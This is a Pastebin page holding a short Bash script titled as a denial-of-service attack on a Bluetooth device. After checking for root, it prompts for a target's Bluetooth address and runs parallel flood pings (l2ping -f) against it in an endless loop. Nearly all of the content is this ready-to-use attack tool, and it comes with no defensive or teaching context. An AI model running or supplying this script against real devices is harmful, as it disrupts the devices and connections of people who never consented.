Advertisement
IssouLinux

Script DOS attack on Bluetooth device

Jan 14th, 2023 (edited)
923
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.58 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. # Check if user has required permissions
  4. if [ "$EUID" -ne 0 ]
  5.   then echo "Please run as root"
  6.   exit
  7. fi
  8.  
  9. # Prompt user to enter the Bluetooth ID of the target
  10. read -p "Enter the Bluetooth ID of the target: " cible
  11. echo -e "\e[32;1mThe Denial of Service attack will begin \e[0m"
  12.  
  13. # Start an infinite loop of sending ping requests to the target device
  14. while true ;
  15. do sudo l2ping -f $cible & sudo l2ping -f $cible ; done
  16.  
  17. # Alert the user when the attack is complete
  18. echo -e "\e[32;1mThe Denial of Service attack is complete \e[0m"
  19.  
  20. # Terminate the loop
  21. break
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement